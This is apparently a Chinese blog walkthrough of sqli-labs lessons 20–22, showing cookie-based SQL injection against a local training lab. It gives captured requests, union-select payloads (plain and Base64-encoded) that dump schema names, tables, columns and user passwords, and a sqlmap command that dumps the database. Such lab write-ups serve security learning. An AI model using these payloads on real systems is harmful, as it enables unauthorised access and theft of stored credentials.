sqli-labs less-20 less-21 less-22 cookie注入

COOKIE

作用:是由网络服务器存储在你电脑硬盘上的一个txt类型的小文件,它和你的网络行为有关,记录了当前用户的状态
形式:key=value
例如:当我们登录某个账号后,服务器会在cookies进行记录

在这里插入图片描述
在这里插入图片描述
个人理解当我们登录一个网站后。setcookie函数根据我们登录的账户及密码,加上获取当前时间等其他信息,来生成一个cookie,当我们再次访此页面,不需要重新登入,只需要比对cookie信息,比如在less-20中,cookie根据uname生成,然后用cookie中的信息来比对数据库中的uname,如果正确容许访问。负责拒绝

less-20

首先登入一个账号,模拟登入下的注入
登入后用bp抓包

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin
Upgrade-Insecure-Requests: 1
Priority: u=0, i

发现相较于之前,没有了post提交的表单信息,而是ookie:uname=admin
发包,页面回显
在这里插入图片描述
页面有cookie信息和name及password
当我们发包时,数据库提取cookie的uname与数据库的uname进行比较。
于是我们便可以在cookie处进行注入

闭合方式

GET /sq/Less-20/index.php HTTP/1.1
Host: 192.168.140.130
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.140.130/sq/Less-20/index.php
Connection: keep-alive
Cookie:uname=admin' or 1=1 #
Upgrade-Insecure-Requests: 1
Priority: u=0, i

在cookie处多次尝试,确定闭合方式为',方法与前面关卡寻找闭合方式一样。

列数

Cookie:uname=admin’ order by 5 #
Cookie:uname=admin’ order by 4 #
Cookie:uname=admin’ order by 3 #

列数为3

回显位

Cookie:uname=adminaWE’ union select 1,2,3 #
记得uname为假值,来显示union查询的值

报数据

  • 所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(schema_name),3 from information_schema.schemata#
    security的所有表
  • Cookie:uname=adminaWE’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    users表的所有列
  • Cookie:uname=adminaWE’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    数据
  • Cookie:uname=adminaWE’ union select 1,group_concat(username,password),3 from security.users #

less-21

本关卡当我们登入的时候发现页面显示
在这里插入图片描述
这里cookie变成了不认识的符号,我们复制过去百度一下,
在这里插入图片描述

发现这是一种编码,为Base64编码,熟悉的热相信一眼便可以看出来,于是我们不难猜测这是将前端表单信息进行编码,上传到后端解码在进行比对,
所以本关与less-20一致,只不过对cookie进行了Base64编码,我们在进行注入的时候可以先将语句写出来,进行编码,然后在bp中进行注入

闭合方式

构造语句并进行编码

在这里插入图片描述
在bp注入
在这里插入图片描述
回显
在这里插入图片描述
不难看出闭合方式为').

报数据

  • 所有表
  • Cookie:uname=adminaWE’) union select 1,group_concat(schema_name),3 from information_schema.schemata#
    编码YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoc2NoZW1hX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuc2NoZW1hdGEj

security的所有表

  • Cookie:uname=adminaWE’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodGFibGVfbmFtZSksMyBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkj

users表的所有列

  • Cookie:uname=adminaWE’) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’#
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQoY29sdW1uX25hbWUpLDMgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9zY2hlbWE9ZGF0YWJhc2UoKSBhbmQgdGFibGVfbmFtZT0ndXNlcnMnIw==

数据

  • Cookie:uname=adminaWE’) union select 1,group_concat(username,password),3 from security.users #
    编码
    YWRtaW5hV0UnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUscGFzc3dvcmQpLDMgZnJvbSBzZWN1cml0eS51c2VycyAj

less-22

我们发现本关卡也对cookie进行了编码,当我们注入时,发现页面没有回显,当时页面有报错,所以使用报错注入,extractvalue,updatexml,floor都可以使用,闭合方式为".没有其他变化,所以不做过多演示,如果有需要,可以留言,我会将我的语句放在评论区

### 第20SQL注入漏洞利用方法及通关教程 sqli-labs平台的第20关涉及的是基于CookieSQL注入漏洞。与常见的基于GET或POST参数的注入方式不同,这一关的注入点位于HTTP Cookie头中,因此需要特别注意请求的构造方式。 #### 1. 确认注入点 第20关的注入点位于`uname`字段,该字段是通过Cookie传递的。在浏览器访问时,通常会发送类似如下的请求头: ``` Cookie: uname=admin ``` 通过修改`uname`的值,可以尝试注入SQL语句。验证是否存在注入漏洞的方法是注入一个会引发数据库错误的值,例如: ``` uname=admin' ``` 如果服务器返回数据库错误信息,则表明可能存在SQL注入漏洞。 #### 2. 获取数据库信息 在确认存在注入漏洞后,可以通过构造特定的SQL语句来获取数据库信息。例如,使用`UNION SELECT`语句来获取当前数据库的名称: ``` uname=admin' UNION SELECT database(), 'test' --+ ``` 该语句会将当前数据库的名称显示在页面上。 #### 3. 获取表名 在获取到数据库名称后(假设数据库名称为`security`),可以进一步获取该数据库中的表名。例如: ``` uname=admin' UNION SELECT group_concat(table_name), 'test' FROM information_schema.tables WHERE table_schema='security' --+ ``` 该语句会列出数据库`security`中的所有表名。 #### 4. 获取字段名 在获取到表名后(例如表名为`users`),可以获取该表中的字段名: ``` uname=admin' UNION SELECT group_concat(column_name), 'test' FROM information_schema.columns WHERE table_name='users' AND table_schema='security' --+ ``` 该语句会列出表`users`中的所有字段名。 #### 5. 获取数据 在获取到字段名后(例如字段名为`username`和`password`),可以获取具体的用户数据: ``` uname=admin' UNION SELECT group_concat(username, ':', password), 'test' FROM security.users --+ ``` 该语句会列出表`users`中的用户名和密码信息。 #### 6. 使用sqlmap进行自动化注入 如果希望使用`sqlmap`工具进行自动化注入,可以使用以下命令: ```bash sqlmap -u "http://192.168.59.1/sqli-labs/Less-20/" --cookie="uname=admin" --current-db --dump --batch ``` 该命令会自动检测注入点,并导出当前数据库的所有数据。 #### 7. 注意事项 - **注入点位置**:由于注入点位于Cookie头中,因此需要确保请求的Cookie字段正确构造。 - **闭合方式**:根据实际情况,可能需要使用不同的闭合方式,例如单引号闭合或双引号闭合。 - **错误信息**:如果服务器未返回错误信息,可以尝试使用盲注技术。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值